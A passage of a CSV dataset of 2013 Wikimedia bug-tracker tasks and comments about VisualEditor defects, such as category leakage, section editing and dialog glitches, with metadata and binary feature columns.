+I cant find any bug for visualeditor dumping in a subst:ed copy of a template.  Very strange.",,,1374460614,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-q6dmhbtud5dlan7xkm5f,task_subcomment,,True,c1,3,False,,,3,,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+52675,VisualEditor: Inherited category becomes explicitly invoked,"This null edit to an article (https://en.wikipedia.org/w/index.php?title=List_of_Sam_%26_Cat_episodes&diff=562710419&oldid=562703260) made the category hidden inside of a template in use on the page (template in question: http://en.wikipedia.org/wiki/Template:Episode_list) visible in the editor. It should not be visible.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372869900,1385378094.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-ygke3aatutel76h64y5d,task_description,resolved,True,c1,3,False,False,False,0,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+253429,VisualEditor: Inherited category becomes explicitly invoked,This was a bug in DM/Parsoid interaction that we fixed months ago; apologies for the slowness of updating.,,,1385378094,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ygke3aatutel76h64y5d,task_subcomment,,True,c1,3,True,,,21,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+253424,VisualEditor: Inherited category becomes explicitly invoked,Another example: https://fr.wikipedia.org/w/index.php?diff=94601807,,,1374255950,,PHID-USER-z6nzrwuaij3spgyg23jt,True,,,PHID-TASK-ygke3aatutel76h64y5d,task_subcomment,,True,c1,3,False,,,2,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1
+52653,Section 0 (lede) editing does not offer VisualEditor,"**Author:** `wikipedia`
+
+**Description:**
+Using the [edit] next to the lede (section=0) only allows invoking the source editor.
+
+Ideally there should be consistency, and VE options should either be always shown, or never shown.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372847760,1372848396.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-6tpy6ex557ljdilowdac,task_description,invalid,True,c1,3,False,False,True,0,,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+252191,Section 0 (lede) editing does not offer VisualEditor,"ve.init.mw.ViewPageTarget.prototype.setupSectionEditLinks in /modules/ve/init/mw/targets/ve.init.mw.ViewPageTarget.js in mediawiki/extensions/VisualEditor.
+
+(It's painful to look at.)",,,1372853500,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-6tpy6ex557ljdilowdac,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+252185,Section 0 (lede) editing does not offer VisualEditor,I recall the pertinent gerrit revision as being https://gerrit.wikimedia.org/r/#/c/69984/ which should give some pointers.,,,1372853464,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-6tpy6ex557ljdilowdac,task_subcomment,,True,c1,3,False,,,0,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1
+252179,Section 0 (lede) editing does not offer VisualEditor,Can someone point me to the code that is building the VE edit section links ?,,,1372853398,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-6tpy6ex557ljdilowdac,task_subcomment,,True,c1,3,True,,,0,,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,1,1,0,0,0
+252175,Section 0 (lede) editing does not offer VisualEditor,"**wikipedia** wrote:
+
+Forwarded to:
+
+  http://en.wikipedia.org/wiki/User_talk:TheDJ#edittop.js:_VisualEditor",,,1372848588,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6tpy6ex557ljdilowdac,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+252170,Section 0 (lede) editing does not offer VisualEditor,"The gadgets are maintained by volunteer developers (in this case, TheDJ). It's the responsibility of gadget authors to ensure compatibility with MediaWiki, not the responsibility of MediaWiki developers to ensure compatibility with gadgets. We have ~700 projects, many of which will have their own gadgets; ensuring everything we deploy is always compatible with every one of them is to tie us into knots.",,,1372848358,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-6tpy6ex557ljdilowdac,task_subcomment,,True,c1,3,False,,,0,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0
+252164,Section 0 (lede) editing does not offer VisualEditor,"**wikipedia** wrote:
+
+As of 2013-07-03 11:42 BST, there were 22,009 accounts with gadgets-edittop enabled.",,,1372848234,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6tpy6ex557ljdilowdac,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+52651,VisualEditor: image resizing causing implosion,"See https://en.wikipedia.org/wiki/File:Visual_Editor_-_Implosion_screenshot_for_bugreport.png - it only seems to appear if you have previously resized a different image.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372842180,1373578420.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-gpv7ztvo3m727pmopcq7,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+252074,VisualEditor: image resizing causing implosion,"[17:29] <Excirial> Could anyone mark bug 50651 as resolved? I think some new rollout fixed the issue since it no longer occurs (Ironholds reported it for me, so i cannot edit its status).
+[17:30] <Technical_13> Resolved fixed?
+[17:30] <Technical_13> !b 50651
+[17:30] <wm-bot> https://bugzilla.wikimedia.org/50651
+[17:30] <Excirial> Yes, confirmed that the problem no longer occurs.
+[17:30] <Technical_13> Kk",,,1373578420,,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,,PHID-TASK-gpv7ztvo3m727pmopcq7,task_subcomment,,True,c1,3,False,,,1,,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,1,0,1,1,1,0,1,1,1,1,0,0,1,1,0,0,1,0,1,0,1
+52642,Unify post-edit notifications on Wikimedia wikis,"There are currently two similar, but distinct post-edit notifications on some Wikimedia wikis. I'll attach screenshots from <https://test.wikipedia.org> momentarily.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Needs Triage,90.0,1372833600,1372834231.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-zr2hewhivqrgrbnvcapd,task_description,resolved,True,c1,3,False,False,True,0,,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+251543,Unify post-edit notifications on Wikimedia wikis,"**swalling** wrote:
+
+The current plan is to convert VE to use the same notification style as Extension:PostEdit previously did, now that it's been fully migrated to core (bug 48276)
+
+%%%*** This bug has been marked as a duplicate of bug 39632 ***%%%",,,1372834231,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zr2hewhivqrgrbnvcapd,task_subcomment,,True,c1,3,False,,,0,,0,0,1,1,0,1,1,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+251535,Unify post-edit notifications on Wikimedia wikis,"Created attachment 12739
+Post-edit notification using wikitext (source) editor on test.wikipedia.org
+
+**Attached**: {F11760}",,,1372833795,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-zr2hewhivqrgrbnvcapd,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+251524,Unify post-edit notifications on Wikimedia wikis,"Created attachment 12738
+Post-edit notification using VisualEditor on test.wikipedia.org, 2013-07-03
+
+**Attached**: {F11759}",,,1372833765,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-zr2hewhivqrgrbnvcapd,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+52637,VisualEditor: Still dirty refs?,"There seem to be several dirty ref sections in this diff:
+
+https://en.wikipedia.org/w/index.php?title=God_of_War_%28series%29&diff=prev&oldid=562631132
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372827600,1379613746.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-odieilz34gnzoz67vumw,task_description,resolved,True,c1,3,True,False,True,0,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+251265,VisualEditor: Still dirty refs?,"
+
+*** This bug has been marked as a duplicate of bug 48570 ***",,,1379613746,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-odieilz34gnzoz67vumw,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52627,VisualEditor: Transclusion dialog does not handle missing parameter name,"To reproduce
+
+1. Click puzzle piece
+2. Type cn ([[Template:cn]] redirecting to [[Template:Citation needed]])
+3. Press enter twice.
+
+(I was experimenting see if there is a quick way to get out of the template dialog; this would be useful for templates like Template:cn that are commonly added without parameters).
+
+4. Type 'foo'
+5. Click 'Apply changes'
+6. It shows 'Template:Fooifsubst'
+7. Code is generated as '{{Cn| = foo}'
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372810140,1385375541.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-u7bebesywdz3nbtymuyr,task_description,resolved,True,c1,3,True,False,False,0,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+250425,VisualEditor: Transclusion dialog does not handle missing parameter name,This was fixed quite some time ago; many apologies for being so slow to reply.,,,1385375541,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-u7bebesywdz3nbtymuyr,task_subcomment,,True,c1,3,True,,,21,,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+250423,VisualEditor: Transclusion dialog does not handle missing parameter name,"Upon re-opening it, though, it shows part_0/.",,,1372811272,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-u7bebesywdz3nbtymuyr,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+250420,VisualEditor: Transclusion dialog does not handle missing parameter name,I forgot to add: It shows part_1/ on the left where the parameter names go.,,,1372810279,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-u7bebesywdz3nbtymuyr,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+52602,"VisualEditor ""leave BETA"" dialogue jumps around, making leave hard/impossible","**Author:** `wikipedia`
+
+**Description:**
+To reproduce:
+
+1. http://en.wikipedia.org/wiki/High_Speed_2?veaction=edit&vesection=6
+2. Wait, hopefully the VisualEditor loads, and does not hang
+3. Click ""BETA""
+4. Click Leave.
+5. Try to type in this dialogue box
+
+What happens:
+
+6. The window scrolls around with each and every keypress.
+7. The Leave BETA dialogue is very hard to complete.
+
+What should happen:
+
+6. The window should not scroll
+7. The process of leaving should be easy and reliable.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372794540,1373152861.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-3nmcqmdcnvrslmvnpgyx,task_description,resolved,True,c1,3,False,False,True,0,,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1
+249151,"VisualEditor ""leave BETA"" dialogue jumps around, making leave hard/impossible","Sorry about this bug; we fixed it a few days ago and deployed it to the servers - merging with that report.
+
+*** This bug has been marked as a duplicate of bug 50538 ***",,,1373152861,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3nmcqmdcnvrslmvnpgyx,task_subcomment,,True,c1,3,True,,,0,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+249142,"VisualEditor ""leave BETA"" dialogue jumps around, making leave hard/impossible","**wikipedia** wrote:
+
+Video of VisualEditor jumping around while typing in Leave dialogue.
+
+Third attempt at video attachment of issue (failed on creation).  Truncated with 'dd if=visual-editor-madness.ogv of=visual-editor-madness-10240kB.ogv bs=1k count=9999'
+
+**Attached**: {F11691}",,,1372795186,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-3nmcqmdcnvrslmvnpgyx,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0
+52596,Editing sections one at a time results in editing old revisions,"When editing a section with VisualEditor the page loads and saves just fine.  However, if you next edit a different section *without refreshing the page*, VisualEditor does not recognize the version of the page you just saved as what you are editing and loads the last revision and warns you that you are editing an old revision.  This occurs in Chrome and Firefox using Windows 7 as I've tested it.
+
+From https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Editing_section_results_in_dirty_page_cache_--_have_to_reload_page_before_doing_additional_edits
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372788540,1373155391.0,PHID-USER-fwlidikyeorzj35hufwu,False,,False,PHID-TASK-nptn4dym6znmjhge2meh,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+248685,Editing sections one at a time results in editing old revisions,"This is a really irritating bug, yes; sorry about this - merging with the wider report at bug 50441.
+
+*** This bug has been marked as a duplicate of bug 50441 ***",,,1373155391,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nptn4dym6znmjhge2meh,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0
+248679,Editing sections one at a time results in editing old revisions,"New editors are likely to edit a page, save it, have an afterthought, see this message, and panic. It just keeps on happening: experienced editors know the work-round (hit ""refresh"").
+
+Until the problem is fixed, could the error message in that pink box be amended to include ""Please click ""Cancel"" to close the editor, then reload/refresh the page, then try again. We apologise for this temporary problem and are working on a solution.""?",,,1372922278,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-nptn4dym6znmjhge2meh,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0
+248672,Editing sections one at a time results in editing old revisions,"It's not just after section editing: see many reports on feedback page. I edit a page in VE, save page, have an afterthought, reopen in VE, get told it's an old revision. Then cancel VE, refresh page, reopen VE, no problem. But shouldn't need to do that refresh.",,,1372840608,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-nptn4dym6znmjhge2meh,task_subcomment,,True,c1,3,False,,,0,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+52592,"Can ""edit section"" be restricted to only open the single section?","Not sure if this is possible, but a user raises concerns about the behavior of VE opening the whole page for editing instead of editing specific sections, given that it increases the load time.
+
+See:
+http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=562566677#edit_one_section_only
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372783680,1372793232.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-3mzdvk7doccla2cgipwj,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+248485,"Can ""edit section"" be restricted to only open the single section?","Looks like it, yes!
+
+%%%*** This bug has been marked as a duplicate of bug 48429 ***%%%",,,1372793232,,PHID-USER-gfaq55vdypjmzz6nl2kn,True,,,PHID-TASK-3mzdvk7doccla2cgipwj,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+248478,"Can ""edit section"" be restricted to only open the single section?",Is this a dupe of bug 48429?,,,1372791768,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-3mzdvk7doccla2cgipwj,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0
+248471,"Can ""edit section"" be restricted to only open the single section?","It also means that more bandwidth is consumed than the user asked for, which could be a problem in some cases (particularly on slow connections).
+
+On busy pages it is likely to lead to more edit conflicts, due to increased load times and encouragement to edit multiple sections.",,,1372791083,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-3mzdvk7doccla2cgipwj,task_subcomment,,True,c1,3,False,,,0,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0
+248465,"Can ""edit section"" be restricted to only open the single section?","Note that this constitutes the interface basically lying about what it's going to do, hence its disconcerting nature.",,,1372789295,,PHID-USER-gfaq55vdypjmzz6nl2kn,True,,,PHID-TASK-3mzdvk7doccla2cgipwj,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+248459,"Can ""edit section"" be restricted to only open the single section?","**wikipedia** wrote:
+
+To reproduce:
+
+1. Visit a page, eg. http://en.wikipedia.org/wiki/High_Speed_2#Legal_challenges
+2. Hover over the section ""[ edit ]""
+3. Expands to ""[ edit | edit source ]"" (both with equivalent URLs)
+4. Observe that the link is: http://en.wikipedia.org/wiki/High_Speed_2?veaction=edit&vesection=6
+5. Click the link.
+
+What happens:
+
+6. The page jumps
+7. The page freezes
+8. The page is partially whited-out
+9. (If it happens to complete loading).  A massive toolbar obscures where the cursor was.
+
+What should happen:
+
+6. The page should remain exactly where it was, it should not move
+7. The page should remain interactive
+8. The page should remain readable
+9. The editor (visual or textedit) should correspond to only that section.",,,1372784238,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-3mzdvk7doccla2cgipwj,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+52581,VisualEditor: warn on markup.,"Similar to bugs 50093 and 50527; users need to be warned when they're using markup in the VE. This is a source of a pretty large amount of corruption on enwiki, and I'm not sure how sustainable the community's patience for that is.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372768500,1372859187.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-k3ijb4t7vtqm2fvl7dqa,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+247782,VisualEditor: warn on markup.,"
+
